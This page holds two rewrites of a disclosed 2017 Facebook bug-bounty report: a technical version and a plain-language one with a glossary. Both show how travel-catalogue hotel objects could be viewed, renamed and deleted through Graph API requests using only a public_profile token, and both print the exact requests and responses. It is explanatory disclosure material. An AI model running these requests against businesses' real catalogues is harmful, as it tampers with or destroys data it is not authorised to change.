Skip to content
Access control Write-up Intermediate

Delete-A-Hotel-Object-From-A-Facebook-Product-Catalog

Hotel objects in a Facebook product catalog could be viewed, edited and deleted using only a regular user access token with public_profile permission, instead of requiring business_management permission. An attacker with such a token could modify or delete hotel data belonging to a business.

Philippe Harewood Follow

Published on philippeharewood.com

It seems there are no permissions above publicprofile applied to objects created in a product catalog, specifically for Travel (https://developers.facebook.com/docs/marketing-api/dynamic-ads-for-travel/catalog) Using any accesstoken for the user in the business, it’s possible to edit the hotel object as well as delete…

Philippe, on philippeharewood.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Facebook's Marketing API includes dynamic ads for travel, where a business maintains a product catalogue of travel items. For the travel vertical the catalogue holds hotel objects, and the documentation describes creating a catalogue and then creating hotels inside it. The catalogue and its objects are meant to be managed by a business, so the natural expectation is that operations on those objects require permissions associated with business management rather than the basic profile permission every app receives.

The report examines whether that expectation holds. The researcher found that objects created in a product catalogue, specifically for Travel, appear to have no permissions above public_profile applied to them. With any access token belonging to a user in the business, it was possible to edit the hotel object and also to delete it using only public_profile permissions. The researcher expected that at the very least business_management should apply, since the object falls under the catalogue.

Setup

No special tooling is needed beyond the Graph API and an HTTP client. The researcher works with three identifiers and two kinds of token.

  1. BUSINESS_ID is obtained by traversing the /me/businesses edge in the Graph API.
  2. CATALOG_ID is obtained by creating a catalogue through the API.
  3. HOTEL_ID is obtained by creating a hotel within that catalogue.

The catalogue is created with a POST to the business's product_catalogs edge, naming the catalogue and setting the vertical to hotels:

HTTP
https://graph.facebook.com/BUSINESS_ID/product_catalogs?method=post&name=SomeHotelCatalog&vertical=hotels

The hotel is then created inside the catalogue with a multipart form POST. This request uses a token that carries the business management permission, and it follows the process described in the dynamic ads for travel catalogue documentation:

Bash
curl \
-X POST \
-F "hotel_id=h_157" \
-F "name=Sample Hotel" \
-F "images= [ \
{'image_url':'http://www.example.com/pic1.jpg', 'tags':['front view']}, \
{'image_url':'http://www.example.com/pic2.jpg', 'tags':['lobby view']} \
]" \
-F "url=http://www.example.com/samplehotel" \
-F "address={ \
street_address:'1 Hacker Way', \
city:'Menlo Park', \
region:'California', \
country:'United States', \
postal_code:'94025', \
neighborhoods:['Palo Alto','Menlo Park'], \
latitude:37.484116, \
longitude:-122.148244 \
}" \
-F "brand=hotel brand" \
-F "description=hotel description" \
-F "guest_ratings= [ \
{'score':7.8, 'rating_system':'sample_rating', 'number_of_raters':780} \
]" \
-F "star_rating=4" \
-F "loyalty_program=Sample rewards club" \
-F "phone=[redacted]" \
-F "access_token=TOKEN_WITH_BUSINESS_MANAGEMENT_PERMISSION" \
https://graph.facebook.com/CATALOG_ID/hotels

The form fields carry the hotel's identifier (h_157), its name, a list of images with tags, a URL, a structured address with neighbourhoods and coordinates, brand, description, guest ratings, star rating, loyalty program and phone number. The access_token field is the token with business management permission. The HOTEL_ID is obtained by creating a hotel within the catalogue.

With the HOTEL_ID in hand, the researcher switches to a regular access token.

Finding it

The observation is that catalogue objects for the Travel vertical do not appear to have permissions above public_profile attached to them. The researcher's baseline expectation was that business_management should be required, because the object belongs to a catalogue under a business. Instead, any access token for a user in the business is enough to edit and delete the hotel. That mismatch between the object's ownership (a business catalogue) and the permission it enforces (the basic profile permission) is what made the behaviour look wrong.

Exploitation

Step 1: View the hotel

The hotel is read with a plain GET on its object ID:

HTTP
https://graph.facebook.com/HOTEL_ID?access_token=ACCESS_TOKEN

The response returns the object's ID, its name and its hotel identifier:

JSON
{
"id": "HOTEL_ID",
"name": "Dabbing Hotel",
"hotel_id": "h_157"
}

Step 2: Edit the hotel

The name is changed with a POST to the same object, using the method=post parameter and a new name value:

HTTP
https://graph.facebook.com/HOTEL_ID?method=post&name=KanyeHotel&access_token=ACCESS_TOKEN

The API reports success:

JSON
{
"success": true
}

Repeating step 1 confirms the change took effect:

JSON
{
"id": "HOTEL_ID",
"name": "KanyeHotel",
"hotel_id": "h_157"
}

Step 3: Delete the hotel

The object is removed with a DELETE, again expressed through the method parameter:

HTTP
https://graph.facebook.com/HOTEL_ID?method=delete&access_token=ACCESS_TOKEN

The API again reports success:

JSON
{
"success": true
}

Step 4: Check if the hotel is deleted

Reading the object again returns an error rather than the hotel:

HTTP
https://graph.facebook.com/HOTEL_ID?access_token=ACCESS_TOKEN
JSON
{
"error": {
"message": "Unsupported get request. Object with ID 'HOTEL_ID' does not exist, cannot be loaded due to missing permissions, or does not support this operation. Please read the Graph API documentation at https://developers.facebook.com/docs/graph-api",
"type": "GraphMethodException",
"code": 100
}
}

The error message is deliberately ambiguous between the object not existing, the caller lacking permission, and the operation not being supported, but in context it confirms the object is gone.

The researcher notes that the same process should apply to flight and destination catalogs as described in the same dynamic ads for travel documentation.

Root cause

The report does not describe the implementation. What it establishes is the observable behaviour: hotel objects in a travel product catalogue accept edit and delete operations from a token that only carries public_profile, rather than requiring a business-scoped permission such as business_management.

Impact

The researcher is careful about the limits. There is no direct way, as far as the researcher can tell, to get to the hotel given a catalogue ID. Requesting the catalogue with the token used above returns an error:

JSON
{
"error": {
"message": "(#200) The app is not whitelisted to use this API",
"type": "OAuthException",
"code": 200
}}

So the issue is framed for developers working on dynamic ads, on the assumption that the object cannot be accessed or modified outside the correct permission scope. A plausible situation is an application that has the permission and creates the hotel; the permission is then dropped, and it is not known that the application can still modify this data. The access token must also belong to a user who can see the hotel object. Within those conditions, a token with only public_profile can rename and delete a business's hotel catalogue object.

Fix

The report does not state what was changed. The behaviour it describes implies that catalogue object endpoints for the travel vertical should enforce a business-scoped permission, at minimum business_management, consistently for read, edit and delete, rather than accepting public_profile. Whether Facebook applied such a change is not recorded here.

Variants to test

  1. Apply the same read, edit and delete sequence to flight and destination catalogue objects, which the researcher expects to behave the same way. A positive result is a successful edit or delete with a token that carries only public_profile.

Timeline

  • Jan 20, 2017: report sent
  • Jan 26, 2017: escalation by Facebook
  • Feb 21, 2017: bounty awarded by Facebook

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

Facebook runs a service called the Marketing API. An API (Application Programming Interface) is a way for one computer program to talk to another over the internet, without a human clicking buttons. Think of it as a waiter: you tell the waiter what you want, the waiter goes to the kitchen, and brings back a result. With the Marketing API, a program can ask Facebook to create, read, change or remove advertising-related things.

One of those things is a product catalogue. A catalogue is simply a list of items a business wants to advertise. For travel advertising, the catalogue holds hotels. A business creates a catalogue, then adds hotel entries to it, each with a name, photos, address, star rating and so on. Facebook then uses those entries to show dynamic ads, which are ads that automatically display the right hotel to the right person.

Because a catalogue belongs to a business, you would expect that only someone with business-level authority could change or delete the hotels inside it. Facebook has a permission (a permission is a named allowance, like a key that opens a particular door) called business_management that is meant for exactly this kind of business-level control. Every app also gets a very basic permission called public_profile, which just lets it see a person's public name and picture. That is the lowest level of access there is.

The researcher, Philippe Harewood, tested whether the hotels in a travel catalogue were really protected by the business-level permission. They were not. A token carrying only the basic public_profile permission was enough to rename a hotel and to delete it entirely. A token, in this context, is a long string of characters that a program sends along with each request to prove who it is and what it is allowed to do. Think of it as a wristband at an event: the colour of the wristband decides which areas you can enter.

The report was sent on 20 January 2017, escalated by Facebook on 26 January 2017, and a bounty (a reward payment for reporting a security problem responsibly) was awarded on 21 February 2017.

The setup: what you need before testing

To follow the test you need three identifiers and two kinds of token. An identifier (often called an ID) is a unique label for a thing, like a student number that never changes even if the student does.

  1. BUSINESS_ID is the identifier of the business. The researcher got it by walking the /me/businesses edge in the Graph API. The Graph API is Facebook's main API, and an "edge" is just the name Facebook gives to a connection between two things: asking for /me/businesses means "give me the businesses connected to the current user".
  2. CATALOG_ID is the identifier of the catalogue. The researcher got it by creating a catalogue through the API.
  3. HOTEL_ID is the identifier of a hotel inside that catalogue. The researcher got it by creating a hotel inside the catalogue.

First, the catalogue is created by sending a POST request to the business's product_catalogs edge. A POST request is the kind of web request used to create something new, as opposed to a GET request, which is used to fetch something that already exists. The request names the catalogue and says its vertical is hotels. "Vertical" here means the industry category the catalogue is for, such as hotels, flights or destinations.

HTTP
https://graph.facebook.com/BUSINESS_ID/product_catalogs?method=post&name=SomeHotelCatalog&vertical=hotels

Line by line:

  • https://graph.facebook.com/ is the address of Facebook's Graph API. Every request in this report goes there.
  • BUSINESS_ID is replaced with the real business identifier. It tells Facebook which business the new catalogue should belong to.
  • /product_catalogs is the edge that holds catalogs. Posting here creates a new catalogue.
  • ?method=post is a parameter (a named value added to the end of a URL after a question mark) that tells the API to treat this as a create operation. Parameters are separated by &.
  • name=SomeHotelCatalog sets the catalogue's name.
  • vertical=hotels says this catalogue holds hotels rather than flights or destinations.

Next, a hotel is created inside the catalogue. This request is longer because a hotel has many details. It is sent as a multipart form POST, which is the same format a web browser uses when you upload a file or submit a form with several fields. The request uses a token that carries the business management permission, and it follows the process described in Facebook's dynamic ads for travel catalogue documentation.

Bash
curl \
-X POST \
-F "hotel_id=h_157" \
-F "name=Sample Hotel" \
-F "images= [ \
{'image_url':'http://www.example.com/pic1.jpg', 'tags':['front view']}, \
{'image_url':'http://www.example.com/pic2.jpg', 'tags':['lobby view']} \
]" \
-F "url=http://www.example.com/samplehotel" \
-F "address={ \
street_address:'1 Hacker Way', \
city:'Menlo Park', \
region:'California', \
country:'United States', \
postal_code:'94025', \
neighborhoods:['Palo Alto','Menlo Park'], \
latitude:37.484116, \
longitude:-122.148244 \
}" \
-F "brand=hotel brand" \
-F "description=hotel description" \
-F "guest_ratings= [ \
{'score':7.8, 'rating_system':'sample_rating', 'number_of_raters':780} \
]" \
-F "star_rating=4" \
-F "loyalty_program=Sample rewards club" \
-F "phone=[redacted]" \
-F "access_token=TOKEN_WITH_BUSINESS_MANAGEMENT_PERMISSION" \
https://graph.facebook.com/CATALOG_ID/hotels

Line by line:

  • curl is a command-line tool for sending web requests. The backslash \ at the end of a line means "this command continues on the next line", so the whole thing is one long command.
  • -X POST says the request type is POST, meaning create.
  • -F means "send this as a form field". Each -F adds one field to the form.
  • hotel_id=h_157 is the hotel's own identifier inside the catalogue, h_157.
  • name=Sample Hotel is the hotel's display name.
  • images= [...] is a list of photos, each with a URL and tags describing what the photo shows, such as front view and lobby view.
  • url=http://www.example.com/samplehotel is the hotel's web page.
  • address= {...} is a structured address: street, city, region, country, postal code, a list of neighbourhoods, and latitude and longitude coordinates.
  • brand=hotel brand is the brand name.
  • description=hotel description is free text describing the hotel.
  • guest_ratings= [...] is a list of rating entries, each with a score, the name of the rating system, and how many people gave ratings.
  • star_rating=4 is the hotel's star rating.
  • loyalty_program=Sample rewards club names the hotel's loyalty scheme.
  • phone=[redacted] is the contact phone number.
  • access_token=TOKEN_WITH_BUSINESS_MANAGEMENT_PERMISSION is the token proving the caller has business management permission. This is the key that should be needed for business-level actions.
  • https://graph.facebook.com/CATALOG_ID/hotels is the destination: the hotels edge of the catalogue with identifier CATALOG_ID. Posting here adds a hotel to that catalogue.

The HOTEL_ID is obtained by creating a hotel within the catalogue. With the hotel created and its ID known, the researcher switches to a regular access token, one that does not carry business management permission.

The finding: what was wrong

The observation is that catalogue objects for the Travel vertical do not appear to have any permission above public_profile attached to them. The researcher's baseline expectation was that business_management should be required, because the object belongs to a catalogue under a business. Instead, any access token for a user in the business was enough to edit and delete the hotel.

That mismatch is the heart of the issue. The object is owned by a business catalogue, but the permission it actually enforces is the basic profile permission that every app receives. It is like a safe deposit box in a bank vault that opens with the same cheap key as the front door.

Proving it: the four steps

Step 1: View the hotel

The hotel is read with a plain GET request on its object ID. A GET request is the kind used to fetch information without changing anything.

HTTP
https://graph.facebook.com/HOTEL_ID?access_token=ACCESS_TOKEN

Line by line:

  • https://graph.facebook.com/ is the Graph API address.
  • HOTEL_ID is the identifier of the hotel created earlier.
  • ?access_token=ACCESS_TOKEN attaches the regular token, the one without business management permission. This is the crucial part: the request is deliberately made with the weaker token.

The response returns the object's ID, its name and its hotel identifier:

JSON
{
"id": "HOTEL_ID",
"name": "Dabbing Hotel",
"hotel_id": "h_157"
}

This is JSON, a common text format for data, where curly braces hold a set of named values. The response shows the hotel exists and is readable with the weak token. That establishes a baseline: the object is visible, so the next steps can test whether it can also be changed.

Step 2: Edit the hotel

The name is changed with a POST to the same object, using the method=post parameter and a new name value:

HTTP
https://graph.facebook.com/HOTEL_ID?method=post&name=KanyeHotel&access_token=ACCESS_TOKEN

Line by line:

  • HOTEL_ID points at the same hotel.
  • method=post tells the API this is a change operation rather than a read.
  • name=KanyeHotel is the new name to write over the old one.
  • access_token=ACCESS_TOKEN is again the regular token with only basic permission.

The API reports success:

JSON
{
"success": true
}

Repeating step 1 confirms the change took effect:

JSON
{
"id": "HOTEL_ID",
"name": "KanyeHotel",
"hotel_id": "h_157"
}

The name is now KanyeHotel instead of Dabbing Hotel. This second read matters because a success message alone could be misleading; reading the object back proves the change was actually stored.

Step 3: Delete the hotel

The object is removed with a DELETE, again expressed through the method parameter:

HTTP
https://graph.facebook.com/HOTEL_ID?method=delete&access_token=ACCESS_TOKEN

Line by line:

  • HOTEL_ID is the hotel to remove.
  • method=delete tells the API to delete the object.
  • access_token=ACCESS_TOKEN is still the weak token.

The API again reports success:

JSON
{
"success": true
}

Step 4: Check if the hotel is deleted

Reading the object again returns an error rather than the hotel:

HTTP
https://graph.facebook.com/HOTEL_ID?access_token=ACCESS_TOKEN

The error message is deliberately ambiguous between three possibilities: the object does not exist, the caller lacks permission, or the operation is not supported. In context, since the same request worked before the delete, it confirms the object is gone.

The researcher notes that the same process should apply to flight and destination catalogs as described in the same dynamic ads for travel documentation.

Why it happened

The report does not describe the implementation. What it establishes is the observable behaviour: hotel objects in a travel product catalogue accept edit and delete operations from a token that only carries public_profile, rather than requiring a business-scoped permission such as business_management.

What an attacker could do with it

The researcher is careful about the limits. There is no direct way, as far as the researcher can tell, to get to the hotel given a catalogue ID. Requesting the catalogue with the token used above returns an error:

JSON
{
"error": {
"message": "(#200) The app is not whitelisted to use this API",
"type": "OAuthException",
"code": 200
}}

So the issue is framed for developers working on dynamic ads, on the assumption that the object cannot be accessed or modified outside the correct permission scope. A plausible situation is an application that has the permission and creates the hotel; the permission is then dropped, and it is not known that the application can still modify this data. The access token must also belong to a user who can see the hotel object. Within those conditions, a token with only public_profile can rename and delete a business's hotel catalogue object.

The fix

The report does not state what was changed. The behaviour it describes implies that catalogue object endpoints for the travel vertical should enforce a business-scoped permission, at minimum business_management, consistently for read, edit and delete, rather than accepting public_profile. Whether Facebook applied such a change is not recorded here.

Other things worth testing

  1. Apply the same read, edit and delete sequence to flight and destination catalogue objects, which the researcher expects to behave the same way. A positive result is a successful edit or delete with a token that carries only public_profile.

Timeline

  • Jan 20, 2017: report sent
  • Jan 26, 2017: escalation by Facebook
  • Feb 21, 2017: bounty awarded by Facebook

Glossary

  • API: a way for one program to talk to another over the internet, sending requests and receiving responses.
  • Access token: a string of characters a program sends with each request to prove who it is and what it is allowed to do.
  • Bounty: a reward payment made for reporting a security problem responsibly.
  • Business management permission: a named permission (business_management) meant to control business-level actions on Facebook.
  • Catalogue: a list of items a business wants to advertise, such as hotels for travel ads.
  • curl: a command-line tool for sending web requests.
  • DELETE: the kind of web request used to remove something.
  • Dynamic ads: ads that automatically show the right item from a catalogue to the right person.
  • Edge: Facebook's name for a connection between two things in the Graph API, such as a user and their businesses.
  • GET: the kind of web request used to fetch information without changing anything.
  • Graph API: Facebook's main API for reading and changing data.
  • Identifier (ID): a unique label for a thing, like a student number.
  • JSON: a common text format for data, using curly braces to hold named values.
  • Multipart form POST: a request format used to send several fields at once, the same way a browser submits a form with a file upload.
  • Parameter: a named value added to the end of a URL after a question mark, separated by &.
  • Permission: a named allowance, like a key that opens a particular door.
  • POST: the kind of web request used to create something new.
  • public_profile: the most basic Facebook permission, letting an app see a person's public name and picture.
  • Vertical: the industry category a catalogue is for, such as hotels, flights or destinations.

More by Philippe Harewood

View all

56 more disclosed reports, best first.

More from Meta

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.